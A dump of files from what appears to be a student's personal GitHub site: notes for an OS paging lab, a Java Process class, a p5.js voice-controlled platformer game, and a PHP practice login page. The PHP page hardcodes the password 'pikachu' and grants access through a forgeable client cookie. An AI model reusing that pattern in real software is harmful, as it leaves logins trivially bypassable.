words.\n\t\tP, the page size in words.\n\t\tS, the size of a process, i.e., the references are to virtual addresses 0..S-1. = word number\n\t\tJ, the ‘‘job mix’’, which determines A, B, and C, as described below.\n\t\tN, the number of references for each process.\n\t\tR, the replacement algorithm, FIFO, RANDOM, or LRU.\n\n\t\tN- number of memory references \n\t\tround robin, quantum 3 - groups of 3, per frame, \n\t\tso if theres 2 frames, theres 6 like \n\t\t\n\t\t\n\t\tfraction A - address one higher than current\n\t\tfraction B - nearby lower address\n\t\tfraction C - nearby higher address (but not the one directly higher?)\n\t\tremaining fraction 1-(A+B+C) = D: - are to random addresses \n\t\t\n\t\tcurrent word address w\n\t\tprob A = w+1 (mod S, S is total size, so it cant go out of bounds)\n\t\tprob B = (w-5+S)% S\n\t\tprob C = w+4 mod S\n\t\tprob D = random value between 0 and S\n\t\t\n\t\tvalues for J : 4 possible sets of processes\n\t\tJ=1 : 1 process with A = 100% (w+1)\n\t\tJ=2 : 4 processes, each with A=100% (w+1)\n\t\tJ=3 : 4 processes, all random (prob D)\n\t\tJ=4 : 1 process, A=.75(w+1), B=.25(w-5), C=0, random=0\n\t\t\t 1 process, A=.75(w+1), B=0, C=.25(w+4), random=0\n\t\t\t 1 process, A=.75(w+1), B=.125(w-5), C=.125(w+4), random=0\n\t\t\t 1 process, A=.5(w+1), B=.125(w-5), C=.125(w+4), random=.25(random)\n\t\t\n\t\tif a fault occurs (page isnt in the table yet) put it into the table\n\t\t-if no free frames, a resident page(in the table) is evicted depending on algorithm\n\t\tvictim can be any frame not just ones used by the faulting process \n\t\tjust implement a frame table (not page tables)\n\t\t\n\t\tbegins all frames empty, first reference for each process will 100% be a page fault\n\t\tbegins by referencing word 111*k mod S\n\t\t\n\t\tfor each process, print # of page faults and avg residency time\n\t\tavg residency time = time page evicted - time it was loaded \n\t\tat eviction, add current residency time to a sum, at end divide by number of evictions\n\t\t\n\t\tchoose the highest numbered free frame for first placement\n\t\t\n\t\t*/ \n\t}\n}"
},
{
"alpha_fraction": 0.6044098734855652,
"alphanum_fraction": 0.6087332367897034,
"avg_line_length": 21.25,
"blob_id": "45e642236a6e9dac4540106eec65151aeacab4a0",
"content_id": "4aca87d09dbb707a1cf6a8947a3e9dd5ac79d9d9",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "PHP",
"length_bytes": 2313,
"license_type": "no_license",
"max_line_length": 95,
"num_lines": 104,
"path": "/test.php",
"repo_name": "BrandonSu/BrandonSu.github.io",
"src_encoding": "UTF-8",
"text": "<?php \n\n\tif (!isset($_COOKIE['count'])){\n\t\t//starts out at 0 instead of 1\n\t\tsetcookie('count',1);\n\n\t\t//sets cookie count as 1 instead of 0 \n\t\t$_COOKIE['count'] = 1;\n\t\t\n\t} else{ //there exists a cookie\n\n\t\tsetcookie('count', $_COOKIE['count']+1);\n\n\t\t//corresponding code\n\t\t$_COOKIE['count'] = $_COOKIE['count']+1;\n\t}\n\n\tif(isset($_POST['password'])){\t\n\t\t//is the password pikachu?\n\t\tif ($_POST['password']=='pikachu'){\n\n\t\t\tsetcookie('inclasslogin','yes');\n\t\t\t//name and data\n\n\t\t\t$_COOKIE['inclasslogin'] = 'yes';\n\n\t\t\t//print \"<p> Secret stuff is here </p>\";\n\t\t} /*else{\n\t\t\tprint \"<p> Get out! </p>\";\n\t\t}*/\n\n\t}\n\t//all cookie stuff has to go before the html, otherwise browser wont interpret it as a cookie\n?>\n\n\n<!DOCTYPE html>\n<html>\n\t<head>\n\t\t<title> test</title>\n\t</head>\n\n\t<body>\n\t\t<h1> password protection </h1>\n\t\t<p> you have been here:\n\t\t<?php\n\n\t\t\tprint $_COOKIE['count'];\n\t\t\t//the print doesnt show up, only the result is sent to the browser\n\t\t\t?>\n\t\ttimes! </p>\n\n\t\t<?php\n\t\t\t//see if they supplied a password\n\t\t//isset = did user set up a password\n\t\t\tif (isset($_COOKIE['inclasslogin']) && $_COOKIE['inclasslogin'] == 'yes'){\n\t\t\t\tprint \"Secure stuff means u got password right!\";\n\t\t\t}\n\n\t\t/*\n\t\tGET shows up in URL, matches the get in form\n\t\t\tif(isset($_GET['password'])){\n\t\t\t\t//if true, display stuff to user\n\t\t\t\t/*\n\t\t\t\tprint \"You typed in a password!\";\n\t\t\t\tprint \"That password is: \";\n\t\t\t\tprint $_GET['password'];*/\n/*\n\t\t\t\t//is the password pikachu?\n\t\t\t\tif ($_GET['password']=='pikachu'){\n\t\t\t\t\tprint \"<p> Secret stuff is here </p>\";\n\t\t\t\t} else{\n\t\t\t\t\tprint \"<p> Get out! </p>\";\n\t\t\t\t}\n\n\t\t\t}*/\n\n//post doesnt show up in url, has to match with the form\n\t\t\t\n\n\t\t//\n\n\t\t?>\n<!--\nget method just throws things onto URL\nway to have url not display the variables\npost method doesnt add to URL\nbut now our above stuff has to match the post instead of $_GET\n\n-->\n\n\t<!--\t<form id = \"login\" method =\"get\" action=\"test.php\">-->\n\t\t<form id = \"login\" method =\"post\" action=\"test.php\">\n\t\t<!--\n\t\twhen the user clicks on the button, send all the variables to the file test.php (same file)\n\t\tmethod get means itll be sent thru the url, changes the url, sends the variable into the url?\n\t\tsending variables back to itself\n\t\t-->\n\t\t\tPassword: <input type=\"text\" name=\"password\">\n\t\t\t<input type=\"submit\">\n\t\t</form>\n\n\t</body>\n</html>"
},
{
"alpha_fraction": 0.7876105904579163,
"alphanum_fraction": 0.7876105904579163,
"avg_line_length": 27,
"blob_id": "499120c87b37ad902c5d09c2402b7cc292cb05f3",
"content_id": "d87b4140b8b68fe587de5ba2ca88094aa4b632aa",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 113,
"license_type": "no_license",
"max_line_length": 76,
"num_lines": 4,
"path": "/README.md",
"repo_name": "BrandonSu/BrandonSu.github.io",
"src_encoding": "UTF-8",
"text": "# BrandonSu.github.io\nMy website!\n\nSoftware Engineer in New York City, New York (borough occasionally changing) \n"
},
{
"alpha_fraction": 0.5957792401313782,
"alphanum_fraction": 0.6201298832893372,
"avg_line_length": 15.236842155456543,
"blob_id": "e3a6b981ce483093c6ca1f37ca8db148c4b0ddbf",
"content_id": "4254e8965ae158c780c6880e3f5b1e0e74679105",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 616,
"license_type": "no_license",
"max_line_length": 25,
"num_lines": 38,
"path": "/OSLab4/Process.java",
"repo_name": "BrandonSu/BrandonSu.github.io",
"src_encoding": "UTF-8",
"text": "public class Process {\n\tint id;\n\tint quantum;\n\tint word;\n\tint page;\n\tint references;\n\tint faults;\n\tint[] resStart;\n\tint residenceSum;\n\tint evict;\n\tboolean done;\n\t\n\tpublic Process() {\n\t\tthis.id = -1;\n\t\tthis.quantum = 3;\n\t\tthis.word = -1;\n\t\tthis.page = -1;\n\t\tthis.references = -1;\n\t\tthis.faults = 0;\n\t\tthis.resStart = null;\n\t\tthis.residenceSum =0;\n\t\tint evict=0;\n\t\tthis.done = false;\n\t}\n\t\n\tpublic Process(int id) {\n\t\tthis.id = id;\n\t\tthis.quantum = 3;\n\t\tthis.word = -1;\n\t\tthis.page = -1;\n\t\tthis.references = -1;\n\t\tthis.faults = 0;\n\t\tthis.resStart = null;\n\t\tthis.residenceSum =0;\n\t\tint evict=0;\n\t\tthis.done = false;\n\t}\n}"
},
{
"alpha_fraction": 0.6371067762374878,
"alphanum_fraction": 0.6775362491607666,
"avg_line_length": 33.240543365478516,
"blob_id": "713e2711b4b4a880b4f2e0046f2e7e8a8cb89858",
"content_id": "2874eb2d8ef49b4377dd7e6fe984927870649612",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 22632,
"license_type": "no_license",
"max_line_length": 249,
"num_lines": 661,
"path": "/Projects/Ketch-Up/src/sketch.js",
"repo_name": "BrandonSu/BrandonSu.github.io",
"src_encoding": "UTF-8",
"text": "//Declare and intialize variables \nvar canvas;\nvar currentFrame;\n\n//music variables\nvar music;\n\nvar font;\n\n//tile variable\nvar grassL, grassM, grassR;\nvar platforms = [];\n\n//platform variables\nvar platID = 0;\nvar platX;\nvar platY;\nvar platWidth;\nvar gapWidth;\nvar platNoise = 0;\n\n//Tomato Variables \nvar tomatoRunning = [];\nvar tomatoX = 50;\nvar tomatoHeight = 270;\nvar tomatoSpeed = 0;\n\n//Potato Variables\nvar potatoImgs = [];\nvar potato;\nvar potatos = [];\n\n//Succulent Variables\nvar succImgs = [];\nvar succ;\nvar succs = [];\n\n//Walking potato (walkingPotato) variables\nvar walkingPotatoImgs = [];\nvar walkingPotatoRImgs = [];\nvar walkingPotato;\nvar walkingPotatos = [];\n\n//game state variables\nvar startscreen, endscreen, pausescreen;\nvar cursorImg;\nvar gameMode = 0;\nvar paused = false;\nvar score = 0;\n\n//Mic variable\nvar micInput;\nvar gravity = 2.5;\nvar counter = 0;\nvar maxScream = 180; //3 seconds \n\nfunction initializeGame(){\t//resets game variables\n\tpaused = false;\n\tcurrentFrame = 0;\t//reset frame\n\ttomatoHeight = 270;\t//reset back to initial position\n\ttomatoX = 50;\n\tcounter = 0;\t//reset counter\n\tscore = 0;\t\t//reset score\n\n\tplatX = -50;\t//first platform is off the screen because the first one shouldn't be rounded\n\tplatY = 300;\n\tplatWidth = 8;\n\tgapWidth = 150;\n\tplatforms = [];\t//intialize arrays\n\tsuccs = [];\n\tpotatos=[];\n\twalkingPotatos=[];\n\n\ttextFont(font);\n\n\t//set up the initial platforms\n\tplatforms.push(new PlatformObj(platX, platY, platWidth, gapWidth));\t//add the first platform\n\n\t//continue adding new platforms to the array until there are at least enough on screen\n\twhile(platforms[platforms.length-1].platX + platforms[platforms.length-1].platWidth*50 + gapWidth <= 1000){\n\t\tplatX = platforms[platforms.length-1].platX + platWidth*50 + gapWidth; \n\t\tplatY = map(noise(platNoise), 0, 1, 200, 450);\n\t\tplatWidth = random(2, 6);\t\t//get random width for the platform \n\t\tgapWidth = random(100, 350);\t//get random width for the gap between platforms \n\t\tplatforms.push(new PlatformObj(platX, platY, platWidth, gapWidth,false,platID)); //push platform to array\n\t\tplatID++;\n\t\tplatNoise += 0.05;\n\t}\n}\n\nfunction preload() {\n\t//load tomato running gif \n\tfor (var i = 1; i < 25; i++){\n\t\tfor (var j = 0; j < 2; j++){\n\t\t\tvar fileName = \"images/tomato_running/tomato\"+i+\".png\";\n\t\t\ttomatoRunning.push(loadImage(fileName));\n\t\t}\n\t}\n\n\t//load bouncing potato\n\tfor (var i = 1; i < 5; i++){\n\t\tfor (var j = 0; j < 8; j++){\n\t\t\tvar fileName = \"images/enemies/potato/potato\"+i+\".png\";\n\t\t\tpotatoImgs.push(loadImage(fileName));\n\t\t}\n\t}\n\n\t//load walking potato\n\tfor (var i = 1; i < 42; i++){\n\t\tfor (var j = 0; j < 2; j++){\n\t\t\tvar fileName = \"images/enemies/potato_walk/potato_walk\"+i+\".png\";\n\t\t\twalkingPotatoImgs.push(loadImage(fileName));\n\t\t}\n\t}\n\n\t//load walking potato Right\n\tfor (var i = 1; i < 42; i++){\n\t\tfor (var j = 0; j < 2; j++){\n\t\t\tvar fileName = \"images/enemies/potato_walk/potato_walkR\"+i+\".png\";\n\t\t\twalkingPotatoRImgs.push(loadImage(fileName));\n\t\t}\n\t}\n\n\t//load succ\n\tfor (var i = 1; i < 11; i++){\n\t\tfor (var j = 0; j < 8; j++){\n\t\t\tvar fileName = \"images/enemies/succ/succ\"+i+\".png\";\n\t\t\tsuccImgs.push(loadImage(fileName));\n\t\t}\n\t}\n\n\t//load screen images\n\tstartscreen = loadImage(\"images/startscreen.png\");\n\tendscreen = loadImage(\"images/gameoverscreen.png\");\n\tpausescreen = loadImage(\"images/pausescreen.png\");\n\n\t//load music\n\tmusic = loadSound(\"sounds/jangle.mp3\");\n\n\t//load cursor graphic\n\tcursorImg = loadImage(\"images/fry.png\");\n\n\tfont = loadFont('images/jazztext.ttf');\n\n\t//load tile images\n\tgrassL = loadImage(\"images/tiles/grassLeft.png\");\n\tgrassM = loadImage(\"images/tiles/grassMid.png\");\n\tgrassR = loadImage(\"images/tiles/grassRight.png\");\n}\n\nfunction setup(){\n\t//create centered background\n\tnoiseDetail(24);\t//set noise to 24 to make more smooth\n\tcanvas = createCanvas(1000, 500);\n\tvar x = (windowWidth - width) / 2;\n\tvar y = (windowHeight - height) / 2;\n\tcanvas.position(x, y);\t//position canvas with html\n\t\n\t//original is 332 x 332 -> 300\n\t//actual size is 61 x 81 *300/332\n\twalkingPotato = new Tater(200,250,walkingPotatoImgs,-70,-105);\n\t//original is 280 x 420\n\n\t//audio input\n\tmicInput = new p5.AudioIn();\n\tmicInput.start(); //start listening for input from mic\n\n\t//no cursor\n\tnoCursor();\n\n\tmusic.setVolume(.2);\n\n\t//set up initial game variables\n\tinitializeGame();\n}\n\nfunction draw(){\n\tbackground(250);\t//set background color to light gray\n\tcurrentFrame += 1;\t//increase the current frame by 1\n\t\n\tif(paused){\t\t\t\t\t//pause screen\n\t\tpauseScreen();\t\t\t//call pause screen function\n\t}\n\telse{\n\t\tif (gameMode === 0){\t//represents title screen\n\t\t\tstartScreen();\t\t//call start screen function\n\t\t}\n\t\tif (gameMode === 1){\t//represents game screen\n\t\t\tgame();\t\t\t\t//call game function\n\t\t}\n\t\tif (gameMode === 2){\t//represents game over screen\n\t\t\tgameOver();\t\t\t//call game over function\n\t\t}\n\t}\n\n\t//show cursor at every screen except game screen\n\tif(paused || gameMode===0 || gameMode===2){\n\t\timage(cursorImg, mouseX, mouseY);\t//set the cursor to an image \n\t}\n}\n\n//Function startscreen() - show the start screen\nfunction startScreen(){\n\timageMode(CORNER);\t//left hand corner the image \n\timage(startscreen, 0, 0);\t//show the start screen as an image \n\n\t//draw tomato running to the right\n\timageMode(CENTER);\t//center the image\n\timage(tomatoRunning[currentFrame%tomatoRunning.length], 175, tomatoHeight+20, 160, 120);\n\n\tif(!music.isPlaying()){\n\t\tmusic.play();\n\t}\n\n\t//get volume from mic (values b/w 0 and 1);\n\tvar vol = micInput.getLevel();\n\tvar threshold = 0.15;\t//threshold for the volume(easier to test at 0.1)\n\tvar mapVolume = map(vol, 0, 1, 5, 15);\t//map volume to how high tomato jumps\n\tvar mapGravity = map(vol, 0, 1, 2.5, 7.5);\t//map gravity to how fast tomato should fall\n\n\tif(vol > threshold && tomatoHeight > 50){\n\t\ttomatoHeight -= mapVolume;\n\t}\n\tif(tomatoHeight<=250){\n\t\ttomatoHeight += mapGravity;\n\t}\n\n\t//draw succulent\n\timage(succImgs[currentFrame%succImgs.length], 820, 50);\n\n\t//draw enemies\n\timage(potatoImgs[0], 820, 320);\n\timage(walkingPotatoImgs[12], 900, 320, -70, -105);\n\n\t//highlight start button if mouseover\n\tif(mouseX>=432 && mouseX<=587 && mouseY>=370 && mouseY<=443){\n\t\tnoStroke();\t\t//no stroke\n\t\tfill(255, 80);\t//set to white with opacity of 80\n\t\trect(417, 310, 180, 73, 20);\t//draw a rect \n\t}\n}\n\n//Function game() - the game phase \nfunction game(){\n\n\tif(!music.isPlaying()){\n\t\tmusic.play();\n\t}\n\n\t//draw all platforms, they are constantly moving from the right to left at a rate of 2\n\tfor (var i = 0; i < platforms.length; i++){ //each platform in array\n\t\tplatforms[i].display();\t//display each platform \n\t\tplatforms[i].platX -= 2;\t\n\t}\n\n\t//add more platforms if there is space on screen for one\n\tif(platforms[platforms.length-1].platX + platforms[platforms.length-1].platWidth*50 + gapWidth <= 1000){\n\t\tplatX = platforms[platforms.length-1].platX + platWidth*50 + gapWidth; \n\t\tplatY = map(noise(platNoise), 0, 1, 200, 450);\n\t\tplatWidth = random(2, 6);\n\t\tgapWidth = random(100, 350);\n\t\tplatforms.push(new PlatformObj(platX, platY, platWidth, gapWidth,true,platID));\n\t\tplatID++;\n\t\tplatNoise += 0.5;\n\t}\n\t// HERE IS THE ONES AFTER THE INITIAL ONES SO HERE IS WHERE WE WANNA START GENERATING ENEMIES\n\n\t//platforms should be deleted from the array after they leave the screen\n\tif(platforms[0].platX + 50*platforms[0].platWidth + 40 <= 0){\n\t\tplatforms.splice(0, 1);\n\t}\n\n\t//popping off succs\n\tif (succs[0] && succs[0].x+90 <=0){\n\t\tsuccs.splice(0,1);\n\t}\n\n\t//popping off potato\n\tif (potatos[0] && potatos[0].x+65 <=0){\n\t\tpotatos.splice(0,1);\n\t}\n\n\t//popping off walking potato\n\tif (walkingPotatos[0] && walkingPotatos[0].x+65 <=0){\n\t\twalkingPotatos.splice(0,1);\n\t}\n\n\t//get volume from mic (values b/w 0 and 1);\n\tvar vol = micInput.getLevel();\n\tvar threshold = 0.15;\t//threshold for the volume(easier to test at 0.1)\n\tvar mapVolume = map(vol, 0, 1, 5, 15);\t//map volume to how high tomato jumps\n\tvar mapGravity = map(vol, 0, 1, 2.5, 7.5);\t//map gravity to how fast tomato should fall\n\t//check if there are platforms \n\tif(platforms[0] && tomatoX+30 >= platforms[0].platX && platforms[0].platX + 50*platforms[0].platWidth >= tomatoX-30){\n\t\tif(vol > threshold && counter < maxScream){\t//if scream is heard and tomato is on the canvas \n\t\t\tif(platforms[0].platY+50 < tomatoHeight-23){\t//check if the tomato passed platform \n\t\t\t\tif(tomatoHeight-28 <= platforms[0].platY+50){ //check if tomato is below platform \n\t\t\t\t\ttomatoHeight = platforms[0].platY+78;\t//keep tomato under platform (cannot go through from bottom)\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\tif(counter < maxScream){\t\t//if tomato is in the canvas \n\t\t\t\t\t\ttomatoHeight -= mapVolume;\t//tomato jump\n\t\t\t\t\t}\n\t\t\t\t}\t\t\t\t\n\t\t\t} \t//if not below platform \n\t\t\telse{\n\t\t\t\tif(counter < maxScream){\t//if tomato is not completely below platform \n\t\t\t\t\t\ttomatoHeight -= mapVolume;\t//let it jump up \n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif(tomatoHeight + 25 <= platforms[0].platY){\t//Tomato does not fall through platforms\n\t\t\t\tif(tomatoHeight + 25 + gravity >= platforms[0].platY){ //check if tomato touched platform\n\t\t\t\t\ttomatoHeight = platforms[0].platY-25;\t//keep tomato on top of platform \n\t\t\t\t}\n\t\t\t}\n\t\t\telse{\t//else if tomato did not hit a platform\n\t\t\t\ttomatoHeight += mapGravity;\t//let it continue falling from gravity\n\t\t\t}\t\n\t\t}\n\t\telse{\t//if the tomato is moving down and not below the platform (on top)\n\t\t\tif(tomatoHeight + 25 <= platforms[0].platY){\t//Tomato does not fall through platforms\n\t\t\t\tif(tomatoHeight + 25 + mapGravity >= platforms[0].platY){ //check if tomato is on platform \n\t\t\t\t\ttomatoHeight = platforms[0].platY-25;\t//keep tomato on top of platform\n\t\t\t\t\tscore++;\t//increase score if tomato is on top of platform running\n\t\t\t\t}\n\t\t\t\telse{ //if not on platform \n\t\t\t\t\ttomatoHeight += mapGravity;\t//tomato falls\n\t\t\t\t}\n\t\t\t}\n\t\t\telse{ \n\t\t\t\ttomatoHeight += mapGravity;\t//tomato falls\n\t\t\t}\n\t\t}\n\t}\n\telse{\t//handle if the tomato is in a gap space\n\t\tif(vol > threshold){\n\t\t\tif(counter < maxScream){\t//if within canvas\n\t\t\t\ttomatoHeight -= mapVolume;\t//let it jump\n\t\t\t}\n\t\t}\n\n\t\ttomatoX += tomatoSpeed;\t\t//Tomato speed is added to tomato to move it horizontally\n\t\ttomatoHeight += mapGravity;\t//Tomato height is affected by gravity\n\t}\n\n\tif(tomatoHeight - 25 < 0){ \t//Checks if tomato is above the canvas\n\t\tfill(0);\t\t\t//fill color of triangle to black\n\t\ttextSize(12);\t\t//set text size to 12\n\t\ttriangle(tomatoX-10, 10, tomatoX, 0, tomatoX + 10, 10);\t//draw a triangle pointing to tomato\n\t\ttext(Math.abs(Math.floor(tomatoHeight)), tomatoX-10, 20);\t//show the current height of tomato\n\t\tif(counter < maxScream){\t//if counter is less than maxScream (3 seconds)\n\t\t\tcounter++;\t//increment counter \n\t\t}\n\t\t//show the number of seconds remaining\n\t\tfill(255,0,0);\t//set color to red\n\t\ttextSize(15);\t//set text size to 15\n\t\t//show the remaining seconds tomato can be above canvas \n\t\ttext(\"Seconds Remaining: \"+Math.ceil((maxScream-counter)/60), width - 180, 15);\t\n\t}\n\t\n\tif(tomatoHeight > 50){ //if the whole tomato is on the canvas \n\t\tcounter = 0;\t//reset counter to 0\n\t}\n\n\t//game over if tomato falls below the screen\n\tif (tomatoHeight > 550){\n\t\tgameMode = 2;\t//set gameMode to 2\n\t}\n\n\tfill(0);\t//set color to black\n\ttextSize(15);\t//set text size to 15\n\ttext(\"Score: \" + score, 20, height - 15);\t//show the score on the bottom left \n\t\n\t//draw tomato running to the right\n\timageMode(CENTER);\t//center image\n\timage(tomatoRunning[currentFrame%tomatoRunning.length], tomatoX, tomatoHeight, 160, 120); //160 width, 120 height\n\n\t//walking potatoes\n\tfor (let i = 0; i<walkingPotatos.length; i++){\t//loop through walkingPotatoes array\n\t\twalkingPotatos[i].display();\t//call the display function for each walkingPotato\n\t\t//when display, check platform ID for the left Plat thing\n\t\tfor (let j = 0; j<platforms.length; j++){\n\t\t\tif (walkingPotatos[i].platformIDAttached ==platforms[j].id){//if the IDs match aka its own platform\n\t\t\t\t//its centered but platforms arent\n\t\t\t\tif (walkingPotatos[i].x-35 <= platforms[j].platX){ //if potato hits left side of platform\n\t\t\t\t\twalkingPotatos[i].xSpeed =1;\t//set xSpeed to 1\n\t\t\t\t\twalkingPotatos[i].obj = walkingPotatoRImgs;\t//switch the image to a potato walking to the right\n\t\t\t\t}\n\t\t\t\telse if (walkingPotatos[i].x-35 >= platforms[j].platX +platforms[j].platWidth*50 ){ //if potato hits right side of platform\n\t\t\t\t\twalkingPotatos[i].xSpeed =-1;\t//set xSpeed to -1\n\t\t\t\t\twalkingPotatos[i].obj = walkingPotatoImgs;\t//switch image to potota walking to the left \n\t\t\t\t}\n\t\t\t\tbreak; //done checking platforms\n\t\t\t}\n\t\t}\n\t\twalkingPotatos[i].collisionTest();\t//checks for collision for each walking potato\n\t}\n\t\n\t//potatoes\n\tfor (let i =0; i<potatos.length; i++){ //for each potato in the array\n\t\tpotatos[i].display();\t//display each potato \n\t\tpotatos[i].collisionTest();\t//check for collision\n\t}\n\n\timageMode(CORNER);\t//set image to left top corner \n\t//succulents\n\tfor (let i =0; i <succs.length; i++){\t//for each succulent in array\n\t\tsuccs[i].display();\t//display each succ\n\t\tsuccs[i].collisionTest();\t//check for collision\n\t}\n}\n\n//PlatformObj class\nfunction PlatformObj(platX, platY, platWidth, gapWidth,ya,id){\n\t//Properties\n\tthis.platX = platX;\t\t\t//the X position of the upper left corner of platform\n\tthis.platY = platY;\t\t\t//the Y position of the upper left corner of platform\n\tthis.platWidth = platWidth;\t//the width of the platform in blocks; each block is 50px\n\tthis.gapWidth = gapWidth;\t//the width of the empty space after the current platform\n\tthis.id = id;\t\t\t\t//the id of the platform \n\tif (ya){\t//if true \n\t\tthis.chanceOfEnemySpawn = random(50);\t//chance of enemy spawning is 0 and up to 50\n\t} else{\n\t\tthis.chanceOfEnemySpawn = 51;\t//else, chance of enemy spawning is 51\n\t}\n\n\t//generates enemies based on random numbers\n\tif(this.chanceOfEnemySpawn<15){ //walking potato spawns if chance is less than 15\n\t\t//Create a new Tater object (walking potato)\n\t\tvar walkingPotato = new Tater(this.platX+(this.platWidth*50)- 70,this.platY - 52,walkingPotatoImgs,70,105,this.id);\n\t\twalkingPotatos.push(walkingPotato); //add walkingPotato object to walkingPotatos array\n\t}\n\telse if(this.chanceOfEnemySpawn<30){ //succ spawns if chance is less than 30\n\t\tvar platSucc;\n\t\tfor (let i = 1;i<this.platWidth; i+=2){\n\t\t\tplatSucc = new Spike(this.platX+(45*i),this.platY-180,succImgs,90,110); //create a new Spike object (succulent)\n\t\t\tsuccs.push(platSucc);\t//add platSucc object to succs array\n\t\t}\n\t}\n\telse if(this.chanceOfEnemySpawn<45){ //size potato spawns if chance is less than 45\n\t\t//create a new Tot object (size potato)\n\t\tvar potato = new Tot(this.platX+(this.platWidth*50) - 50,this.platY - 80,potatoImgs,332,332); \n\t\tpotatos.push(potato);\t//add potato to potatos array\n\t}\n\n\tthis.display = function(){\t//function for showing the platforms; first and last blocks are rounded \n\t\timage(grassL, this.platX, this.platY, 50, 50);\n\t\tfor (var i = 1; i < this.platWidth; i++){\n\t\t\timage(grassM, this.platX + 50*i, this.platY, 50, 50);\t//show the image \n\t\t}\n\t\timage(grassR, this.platX + 50*this.platWidth, this.platY, 50, 50); //show the image\n\t}\n}\n\n//Spike class (Succulent)\nfunction Spike(xPos,yPos,obj,xSize,ySize) { //x and y are top left\n\t//Properties\n\tthis.x = xPos;\t\t\t//set x to xPos\n\tthis.y = yPos;\t\t\t//set y to yPos\n\tthis.xSpeed = -2;\t\t//set xSpeed to -2\n\tthis.ySpeed = 0;\t\t//set ySpeed to 0\n\tthis.xSize = xSize;\t\t//set xSize to xSize\n\tthis.ySize = ySize;\t\t//set ySize to ySize\n\tthis.collide = false;\t//set collide to false\n\t\n\t//function display - displays the image\n\tthis.display = function(){\n\t\timage(obj[currentFrame%obj.length], this.x, this.y, this.xSize, this.ySize);\t//show animated succulent\n\t\tthis.x += this.xSpeed;\t//move succulent along the x position\n\t};\n\t//function collistionTest - checks if tomato collides with succulent \n\tthis.collisionTest=function(){ //tomato 160 width, 120 height, centered\n\t\t//need to make it stop above succs\n\t\tif ((tomatoX+28)>=this.x && (tomatoX-28)<=(this.x+(this.xSize)) && (tomatoHeight+35)>=this.y && (tomatoHeight< this.y) ){\n\t\t\t// right of tom left plant, left of tom right plant, \tand bottom of tomato is below top of plant, top of tomato is above plant\n\t\t\ttomatoHeight = this.y -35;\n\t\t}\n\n\t\t//60/110 is the short pot, 50/110 is the tall plant width\n\t\t//87/120 is the short pot height\n\n\t\t//checks the taller plant for collision with tomato\n\t\tif ((tomatoHeight-23)<=(this.y+this.ySize) && (tomatoX+28)>=this.x && (tomatoX-28)<=(this.x+(this.xSize*50/110)) && (tomatoHeight+23)>this.y){\n\t\t\t// top of tomato vs bottom, \t\t\t right of tom left plant, \tleft of tomato right plant, \t\t\tbottom of tom below top of plant\n\t\t\tthis.collide = true;\t//collided is true\n\t\t\tgameMode = 2;\t//switch to game over \n\t\t}\n\n\t\t//checks the shorter plant for collision with tomato\n\t\tif ((tomatoHeight-23)<=(this.y+(this.ySize*87/120)) && (tomatoX+28)>=(this.x+(this.xSize*50/110)) && (tomatoX-28)<=(this.x+this.xSize) && (tomatoHeight+23)>this.y){\n\t\t\t//top of tomato vs bottom , \t\t\t \t\t\tright of tom left plant, \t\t\t\t\t left of tomato right plant,\t\t bottom of tom below top of plant\n\t\t\tthis.collide = true;\t//collided is true\n\t\t\tgameMode = 2;\t//switch to game over\n\t\t}\n\t}\n}\n\n//Tater class (walking potato)\nfunction Tater(xPos,yPos,obj,xSize,ySize,id) { //potato with arms\n\t//Properties\n\tthis.x = xPos;\t\t\t\t\t//set x to xPos\n\tthis.y = yPos;\t\t\t\t\t//set y to yPos\n\tthis.platformIDAttached = id; \t//set platformIDAttached to id\n\tthis.xSpeed = -1;\t\t\t\t//set xSpeed to -1\n\tthis.ySpeed = 0;\t\t\t\t//set ySpeed to 0\n\tthis.xSize = xSize;\t\t\t\t//set xSize to xSize\n\tthis.ySize = ySize;\t\t\t\t//set ySize to ySize\n\tthis.collide = false;\t\t\t//set collide to false\n\tthis.obj = obj;\t\t\t\t\t//set obj to obj\n\t\n\t//function display - show walking potato\n\tthis.display = function(){\n\t\timage(this.obj[currentFrame%this.obj.length], this.x, this.y, this.xSize, this.ySize);\n\t\tthis.x += (-2 + this.xSpeed ); //move potato\n\t}\n\n\t//function collisionTest - check if walking potato collided with tomato\n\tthis.collisionTest = function (){\n\t\tif ((tomatoHeight-23)<=(this.y+(this.ySize /2)) && (tomatoX+28)>=(this.x-(this.xSize/2)) && (tomatoX-28)<=(this.x+(this.xSize/2)) && (tomatoHeight+23)>this.y-(this.ySize/2)){\n\t\t\tthis.collide = true;\t//collide is true\n\t\t\tgameMode = 2;\t//switch to game over\n\t\t}\n\t}\n\n}\n\n//Tot class (size changing potato)\nfunction Tot(xPos,yPos,obj,xSize,ySize){ //no limbed potato\n\t//Properties\n\tthis.x = xPos;\t\t\t//set x to xPos\n\tthis.y = yPos;\t\t\t//set y to yPos\n\tthis.xSpeed = -2;\t\t//set xSpeed to -2\n\tthis.ySpeed = 0;\t\t//set ySpeed to 0\n\tthis.xSize = xSize;\t\t//set xSize to xSize\n\tthis.ySize = ySize;\t\t//set ySize to ySize\n\tthis.collide = false;\t//set collide to false\n\tthis.noiseOffset = random(0,1000);\t//set noiseOffset to a random value b/w 0 and up to 1000\n\tthis.noise = map( noise(this.noiseOffset), 0, 1, 0, 1.5 );\t//map the noise \n\t\n\t//function display - display the size potato\n\tthis.display = function(){\n\t\tthis.noise = map( noise(this.noiseOffset), 0, 1, 0, 1 );\n\t\t//changes size using noise \n\t\timage(obj[currentFrame%obj.length], this.x, this.y, this.xSize*this.noise, this.ySize*this.noise);\n\t\tthis.noiseOffset+=0.01;\n\t\tthis.x += this.xSpeed;\t//move potato\n\t}\n\n\t//original is 332 x 332 \n\t//actual size is 61 x 81 /332\n\t//function collisionTest - check if size potato collided with tomato\n\tthis.collisionTest = function(){\n\t\t\t//top tomato\t\tbottom potato\t\t\t\t\t\t\t\t right tomato\t left potato \t\t\t\t\t\t\t\t left tomato right potato \t\t\t\t\t\t\t\t bottom of tomato top potato\n\t\tif ((tomatoHeight-23)<=(this.y+(this.ySize*this.noise *81/332 /2)) && (tomatoX+28)>=(this.x-(this.xSize*this.noise*61/331/2)) && 